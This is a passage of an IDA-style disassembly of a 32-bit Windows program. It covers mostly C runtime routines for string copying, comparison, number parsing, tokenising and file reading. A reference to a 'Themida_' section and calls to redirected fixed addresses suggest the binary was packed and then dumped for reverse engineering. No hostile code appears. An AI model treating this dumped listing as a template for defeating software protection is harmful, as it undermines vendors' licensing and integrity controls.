mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_418597: ; CODE XREF: sub_4182C0+1C2j
; DATA XREF: sub_4182C0:off_418550o
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r
; sub_4182C0:loc_4184A4r ...
dd offset loc_4185B8
dd offset loc_4185C8
dd offset loc_4185DC
; ---------------------------------------------------------------------------
loc_4185B0: ; CODE XREF: sub_4182C0+1B7j
; sub_4182C0:loc_4184A4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4185B8: ; CODE XREF: sub_4182C0+1B7j
; sub_4182C0:loc_4184A4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4185C8: ; CODE XREF: sub_4182C0+1B7j
; sub_4182C0:loc_4184A4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4185DC: ; CODE XREF: sub_4182C0+1B7j
; sub_4182C0:loc_4184A4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4182C0 endp
; =============== S U B R O U T I N E =======================================
sub_4185F5 proc near ; CODE XREF: sub_40473F+34p
; sub_40473F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_417B9B
pop ecx
pop ecx
retn
sub_4185F5 endp
; =============== S U B R O U T I N E =======================================
sub_418603 proc near ; CODE XREF: sub_418670+4p
arg_0 = dword ptr 4
push esi
push dword_48B69C
call sub_41D5A8
mov edx, dword_48B69C
pop ecx
mov ecx, dword_48B698
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_418662
push edx
call sub_41D5A8
add eax, 10h
push eax
push dword_48B69C
call sub_41944F
add esp, 0Ch
test eax, eax
jnz short loc_418645
retn
; ---------------------------------------------------------------------------
loc_418645: ; CODE XREF: sub_418603+3Fj
mov ecx, dword_48B698
sub ecx, dword_48B69C
mov dword_48B69C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_48B698, ecx
loc_418662: ; CODE XREF: sub_418603+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_48B698, 4
retn
sub_418603 endp
; =============== S U B R O U T I N E =======================================
sub_418670 proc near ; CODE XREF: sub_40482C+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_418603
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_418670 endp
; =============== S U B R O U T I N E =======================================
sub_418682 proc near ; DATA XREF: ___:00426018o
push 80h
call sub_417B89
test eax, eax
pop ecx
mov dword_48B69C, eax
jnz short loc_4186A3
push 18h
call sub_419CDA
mov eax, dword_48B69C
pop ecx
loc_4186A3: ; CODE XREF: sub_418682+12j
and dword ptr [eax], 0
mov eax, dword_48B69C
mov dword_48B698, eax
retn
sub_418682 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4186B1 proc near ; CODE XREF: ___:00404AFFp
; sub_4053D5+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call near ptr 2600000h
nop
lea eax, [ebp+var_20]
push eax
nop
call near ptr 27F0000h
mov ax, [ebp+var_16]
cmp ax, word_48A00A
jnz short loc_418716
mov ax, [ebp+var_18]
cmp ax, word_48A008
jnz short loc_418716
mov ax, [ebp+var_1A]
cmp ax, word_48A006
jnz short loc_418716
mov ax, [ebp+var_1E]
cmp ax, word_48A002
jnz short loc_418716
mov ax, [ebp+var_20]
cmp ax, word_48A000
jnz short loc_418716
mov eax, dword_489FF8
jmp short loc_41875B
; ---------------------------------------------------------------------------
loc_418716: ; CODE XREF: sub_4186B1+28j
; sub_4186B1+35j ...
lea eax, [ebp+var_CC]
push eax
call near ptr 27E0000h
nop
cmp eax, 0FFFFFFFFh
jz short loc_418743
cmp eax, 2
jnz short loc_41873F
cmp [ebp+var_32], 0
jz short loc_41873F
cmp [ebp+var_24], 0
jz short loc_41873F
push 1
pop eax
jmp short loc_418746
; ---------------------------------------------------------------------------
loc_41873F: ; CODE XREF: sub_4186B1+7Aj
; sub_4186B1+81j ...
xor eax, eax
jmp short loc_418746
; ---------------------------------------------------------------------------
loc_418743: ; CODE XREF: sub_4186B1+75j
or eax, 0FFFFFFFFh
loc_418746: ; CODE XREF: sub_4186B1+8Cj
; sub_4186B1+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_48A000
movsd
movsd
movsd
movsd
pop edi
mov dword_489FF8, eax
pop esi
loc_41875B: ; CODE XREF: sub_4186B1+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41D609
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41878B
mov [ecx], eax
locret_41878B: ; CODE XREF: sub_4186B1+D6j
leave
retn
sub_4186B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418790 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_48A0A0
cmp dword ptr [eax+8], 0
jnz short loc_4187E3
mov al, 0FFh
mov edi, edi
loc_4187AC: ; CODE XREF: sub_418790+28j
; sub_418790+48j
or al, al
jz short loc_4187DE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_4187AC
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_4187AC
sbb al, al
sbb al, 0FFh
loc_4187DE: ; CODE XREF: sub_418790+1Ej
movsx eax, al
jmp short loc_418817
; ---------------------------------------------------------------------------
loc_4187E3: ; CODE XREF: sub_418790+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_4187EC: ; CODE XREF: sub_418790+68j
; sub_418790+80j
or al, al
jz short loc_418817
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_4187EC
push eax
push ebx
call sub_419101
mov ebx, eax
add esp, 4
call sub_419101
add esp, 4
cmp bl, al
jz short loc_4187EC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_418817: ; CODE XREF: sub_418790+51j
; sub_418790+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_418790 endp
; =============== S U B R O U T I N E =======================================
sub_41881C proc near ; CODE XREF: ___:0041ACB7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418833
add esp, 10h
retn
sub_41881C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418833 proc near ; CODE XREF: sub_41881C+Ep
; sub_418A3B+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41884B: ; CODE XREF: sub_418833+46j
cmp dword_4397AC, 1
jle short loc_418863
movzx eax, bl
push 8
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_418872
; ---------------------------------------------------------------------------
loc_418863: ; CODE XREF: sub_418833+1Fj
mov ecx, off_4395A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_418872: ; CODE XREF: sub_418833+2Ej
test eax, eax
jz short loc_41887B
mov bl, [esi]
inc esi
jmp short loc_41884B
; ---------------------------------------------------------------------------
loc_41887B: ; CODE XREF: sub_418833+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_418889
or [ebp+arg_C], 2
jmp short loc_41888E
; ---------------------------------------------------------------------------
loc_418889: ; CODE XREF: sub_418833+4Ej
cmp bl, 2Bh
jnz short loc_418894
loc_41888E: ; CODE XREF: sub_418833+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_418894: ; CODE XREF: sub_418833+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_418A2B
cmp eax, 1
jz loc_418A2B
cmp eax, 24h
jg loc_418A2B
push 10h
test eax, eax
pop ecx
jnz short loc_4188DC
cmp bl, 30h
jz short loc_4188C6
mov [ebp+arg_8], 0Ah
jmp short loc_4188F8
; ---------------------------------------------------------------------------
loc_4188C6: ; CODE XREF: sub_418833+88j
mov al, [esi]
cmp al, 78h
jz short loc_4188D9
cmp al, 58h
jz short loc_4188D9
mov [ebp+arg_8], 8
jmp short loc_4188F8
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_418833+97j
; sub_418833+9Bj
mov [ebp+arg_8], ecx
loc_4188DC: ; CODE XREF: sub_418833+83j
cmp [ebp+arg_8], ecx
jnz short loc_4188F8
cmp bl, 30h
jnz short loc_4188F8
mov al, [esi]
cmp al, 78h
jz short loc_4188F0
cmp al, 58h
jnz short loc_4188F8
loc_4188F0: ; CODE XREF: sub_418833+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_4188F8: ; CODE XREF: sub_418833+91j
; sub_418833+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_418908: ; CODE XREF: sub_418833+16Cj
cmp dword_4397AC, 1
movzx esi, bl
jle short loc_418920
push 4
push esi
call sub_41A642
pop ecx
pop ecx
jmp short loc_41892B
; ---------------------------------------------------------------------------
loc_418920: ; CODE XREF: sub_418833+DFj
mov eax, off_4395A0
mov al, [eax+esi*2]
and eax, 4
loc_41892B: ; CODE XREF: sub_418833+EBj
test eax, eax
jz short loc_418937
movsx ecx, bl
sub ecx, 30h
jmp short loc_418969
; ---------------------------------------------------------------------------
loc_418937: ; CODE XREF: sub_418833+FAj
cmp dword_4397AC, 1
jle short loc_41894B
push edi
push esi
call sub_41A642
pop ecx
pop ecx
jmp short loc_418956
; ---------------------------------------------------------------------------
loc_41894B: ; CODE XREF: sub_418833+10Bj
mov eax, off_4395A0
mov ax, [eax+esi*2]
and eax, edi
loc_418956: ; CODE XREF: sub_418833+116j
test eax, eax
jz short loc_4189A4
movsx eax, bl
push eax
call sub_41D6CB
pop ecx
mov ecx, eax
sub ecx, 37h
loc_418969: ; CODE XREF: sub_418833+102j
cmp ecx, [ebp+arg_8]
jnb short loc_4189A4
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41898E
jnz short loc_418988
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41898E
loc_418988: ; CODE XREF: sub_418833+147j
or [ebp+arg_C], 4
jmp short loc_418997
; ---------------------------------------------------------------------------
loc_41898E: ; CODE XREF: sub_418833+145j
; sub_418833+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_418997: ; CODE XREF: sub_418833+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_418908
; ---------------------------------------------------------------------------
loc_4189A4: ; CODE XREF: sub_418833+125j
; sub_418833+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_4189C2
test edx, edx
jz short loc_4189BC
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4189BC: ; CODE XREF: sub_418833+181j
and [ebp+var_8], 0
jmp short loc_418A0F
; ---------------------------------------------------------------------------
loc_4189C2: ; CODE XREF: sub_418833+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_4189E8
test cl, 1
jnz short loc_418A0F
and ecx, 2
jz short loc_4189DF
cmp [ebp+var_8], 80000000h
ja short loc_4189E8
loc_4189DF: ; CODE XREF: sub_418833+1A1j
test ecx, ecx
jnz short loc_418A0F
cmp [ebp+var_8], eax
jbe short loc_418A0F
loc_4189E8: ; CODE XREF: sub_418833+197j
; sub_418833+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_48A014, 22h
jz short loc_4189FE
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_418A0F
; ---------------------------------------------------------------------------
loc_4189FE: ; CODE XREF: sub_418833+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_418A0F: ; CODE XREF: sub_418833+18Dj
; sub_418833+19Cj ...
test edx, edx
jz short loc_418A18
mov eax, [ebp+var_4]
mov [edx], eax
loc_418A18: ; CODE XREF: sub_418833+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_418A26
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_418A26: ; CODE XREF: sub_418833+1E9j
mov eax, [ebp+var_8]
jmp short loc_418A36
; ---------------------------------------------------------------------------
loc_418A2B: ; CODE XREF: sub_418833+66j
; sub_418833+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_418A34
mov [eax], edi
loc_418A34: ; CODE XREF: sub_418833+1FDj
xor eax, eax
loc_418A36: ; CODE XREF: sub_418833+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_418833 endp
; =============== S U B R O U T I N E =======================================
sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp
; sub_40EE72+3775p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418833
add esp, 10h
retn
sub_418A3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A52 proc near ; CODE XREF: sub_4053D5+266p
; sub_4053D5+46Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_417AB0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41D797
add esp, 10h
leave
retn
sub_418A52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep
; sub_406C19+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_418AAA
xor eax, eax
jmp loc_418B53
; ---------------------------------------------------------------------------
loc_418AAA: ; CODE XREF: sub_418A86+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_418ABD
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_418AC9
; ---------------------------------------------------------------------------
loc_418ABD: ; CODE XREF: sub_418A86+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_418AC9
; ---------------------------------------------------------------------------
loc_418AC6: ; CODE XREF: sub_418A86+C4j
mov ecx, [ebp+arg_0]
loc_418AC9: ; CODE XREF: sub_418A86+35j
; sub_418A86+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_418AFB
mov eax, [esi+4]
test eax, eax
jz short loc_418AFB
cmp ecx, eax
mov edi, ecx
jb short loc_418AE0
mov edi, eax
loc_418AE0: ; CODE XREF: sub_418A86+56j
push edi
push dword ptr [esi]
push ebx
call sub_417390
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_418B46
; ---------------------------------------------------------------------------
loc_418AFB: ; CODE XREF: sub_418A86+49j
; sub_418A86+50j
cmp ecx, [ebp+arg_C]
jb short loc_418B2E
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_418B11
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_418B11: ; CODE XREF: sub_418A86+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41E321
add esp, 0Ch
test eax, eax
jz short loc_418B58
cmp eax, 0FFFFFFFFh
jz short loc_418B5E
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_418B46
; ---------------------------------------------------------------------------
loc_418B2E: ; CODE XREF: sub_418A86+78j
push esi
call sub_41E248
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_418B62
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_418B46: ; CODE XREF: sub_418A86+73j
; sub_418A86+A6j
cmp [ebp+arg_0], 0
jnz loc_418AC6
mov eax, [ebp+arg_8]
loc_418B53: ; CODE XREF: sub_418A86+1Fj
; sub_418A86+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_418B58: ; CODE XREF: sub_418A86+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_418B62
; ---------------------------------------------------------------------------
loc_418B5E: ; CODE XREF: sub_418A86+9Fj
or dword ptr [esi+0Ch], 20h
loc_418B62: ; CODE XREF: sub_418A86+B2j
; sub_418A86+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_418B53
sub_418A86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p
; sub_4060D0+101p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_418B87: ; CODE XREF: sub_418B6E+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_418B87
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_418BAF
mov edx, dword_48A010
loc_418BAF: ; CODE XREF: sub_418B6E+39j
; sub_418B6E+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_418BCF
test al, al
jz short loc_418BCF
inc edx
jmp short loc_418BAF
; ---------------------------------------------------------------------------
loc_418BCF: ; CODE XREF: sub_418B6E+58j
; sub_418B6E+5Cj
mov ebx, edx
loc_418BD1: ; CODE XREF: sub_418B6E+81j
mov al, [edx]
test al, al
jz short loc_418BF5
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_418BF1
inc edx
jmp short loc_418BD1
; ---------------------------------------------------------------------------
loc_418BF1: ; CODE XREF: sub_418B6E+7Ej
and byte ptr [edx], 0
inc edx
loc_418BF5: ; CODE XREF: sub_418B6E+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_48A010, edx
and eax, ebx
pop ebx
leave
retn
sub_418B6E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418C10 proc near ; CODE XREF: sub_406387+1B6p
; sub_407252+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_418C93
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_418C34
shr ecx, 2
jnz short loc_418CA1
jmp short loc_418C55
; ---------------------------------------------------------------------------
loc_418C34: ; CODE XREF: sub_418C10+1Bj
; sub_418C10+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_418C62
test al, al
jz short loc_418C6A
test esi, 3
jnz short loc_418C34
mov ebx, ecx
shr ecx, 2
jnz short loc_418CA1
loc_418C50: ; CODE XREF: sub_418C10+8Fj
and ebx, 3
jz short loc_418C62
loc_418C55: ; CODE XREF: sub_418C10+22j
; sub_418C10+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_418C8E
dec ebx
jnz short loc_418C55
loc_418C62: ; CODE XREF: sub_418C10+2Bj
; sub_418C10+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418C6A: ; CODE XREF: sub_418C10+2Fj
test edi, 3
jz short loc_418C84
loc_418C72: ; CODE XREF: sub_418C10+72j
mov [edi], al
inc edi
dec ecx
jz loc_418D06
test edi, 3
jnz short loc_418C72
loc_418C84: ; CODE XREF: sub_418C10+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_418CF7
loc_418C8B: ; CODE XREF: sub_418C10+7Fj
; sub_418C10+F4j
mov [edi], al
inc edi
loc_418C8E: ; CODE XREF: sub_418C10+4Dj
dec ebx
jnz short loc_418C8B
pop ebx
pop esi
loc_418C93: ; CODE XREF: sub_418C10+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418C99: ; CODE XREF: sub_418C10+A9j
; sub_418C10+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_418C50
loc_418CA1: ; CODE XREF: sub_418C10+20j
; sub_418C10+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418C99
test dl, dl
jz short loc_418CEB
test dh, dh
jz short loc_418CE1
test edx, 0FF0000h
jz short loc_418CD7
test edx, 0FF000000h
jnz short loc_418C99
mov [edi], edx
jmp short loc_418CEF
; ---------------------------------------------------------------------------
loc_418CD7: ; CODE XREF: sub_418C10+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_418CEF
; ---------------------------------------------------------------------------
loc_418CE1: ; CODE XREF: sub_418C10+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_418CEF
; ---------------------------------------------------------------------------
loc_418CEB: ; CODE XREF: sub_418C10+ADj
xor edx, edx
mov [edi], edx
loc_418CEF: ; CODE XREF: sub_418C10+C5j
; sub_418C10+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_418D01
loc_418CF7: ; CODE XREF: sub_418C10+79j
xor eax, eax
loc_418CF9: ; CODE XREF: sub_418C10+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_418CF9
loc_418D01: ; CODE XREF: sub_418C10+E5j
and ebx, 3
jnz short loc_418C8B
loc_418D06: ; CODE XREF: sub_418C10+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_418C10 endp
; =============== S U B R O U T I N E =======================================
sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p
; sub_406C19+435p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_418D8A
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_418D2D
cmp edi, 1
jz short loc_418D2D
cmp edi, 2
jnz short loc_418D8A
loc_418D2D: ; CODE XREF: sub_418D0E+13j
; sub_418D0E+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_418D44
push esi
call sub_41E5B1
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_418D44: ; CODE XREF: sub_418D0E+27j
push esi
call sub_41A7D0
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_418D59
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_418D6D
; ---------------------------------------------------------------------------
loc_418D59: ; CODE XREF: sub_418D0E+42j
test al, 1
jz short loc_418D6D
test al, 8
jz short loc_418D6D
test ah, 4
jnz short loc_418D6D
mov dword ptr [esi+18h], 200h
loc_418D6D: ; CODE XREF: sub_418D0E+49j
; sub_418D0E+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41E517
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_418D97
; ---------------------------------------------------------------------------
loc_418D8A: ; CODE XREF: sub_418D0E+Bj
; sub_418D0E+1Dj
mov dword_48A014, 16h
or eax, 0FFFFFFFFh
loc_418D97: ; CODE XREF: sub_418D0E+7Aj
pop edi
pop esi
retn
sub_418D0E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp
; sub_406C19+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_418DD1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_418DCF
jz short loc_418DD1
dec ecx
dec ecx
loc_418DCF: ; CODE XREF: sub_418DA0+29j
not ecx
loc_418DD1: ; CODE XREF: sub_418DA0+9j
; sub_418DA0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_418DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp
; sub_407110+9Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_418E94
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_418E0A
loc_418DFB: ; CODE XREF: sub_418DE0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_418E3B
test edi, 3
jnz short loc_418DFB
loc_418E0A: ; CODE XREF: sub_418DE0+19j
; sub_418DE0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_418E0A
mov eax, [edi-4]
test al, al
jz short loc_418E48
test ah, ah
jz short loc_418E43
test eax, 0FF0000h
jz short loc_418E3E
test eax, 0FF000000h
jnz short loc_418E0A
loc_418E3B: ; CODE XREF: sub_418DE0+20j
dec edi
jmp short loc_418E4B
; ---------------------------------------------------------------------------
loc_418E3E: ; CODE XREF: sub_418DE0+52j
sub edi, 2
jmp short loc_418E4B
; ---------------------------------------------------------------------------
loc_418E43: ; CODE XREF: sub_418DE0+4Bj
sub edi, 3
jmp short loc_418E4B
; ---------------------------------------------------------------------------
loc_418E48: ; CODE XREF: sub_418DE0+47j
sub edi, 4
loc_418E4B: ; CODE XREF: sub_418DE0+5Cj
; sub_418DE0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_418E60
mov ebx, ecx
shr ecx, 2
jnz short loc_418EAC
jmp short loc_418E7C
; ---------------------------------------------------------------------------
loc_418E60: ; CODE XREF: sub_418DE0+75j
; sub_418DE0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_418E9A
loc_418E67: ; DATA XREF: Themida_:0050C9E6o
mov [edi], dl
inc edi
dec ecx
jz short loc_418E90
test esi, 3
jnz short loc_418E60
mov ebx, ecx
shr ecx, 2
jnz short loc_418EAC
loc_418E7C: ; CODE XREF: sub_418DE0+7Ej
; sub_418DE0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_418E90
loc_418E83: ; CODE XREF: sub_418DE0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_418E92
dec ecx
jnz short loc_418E83
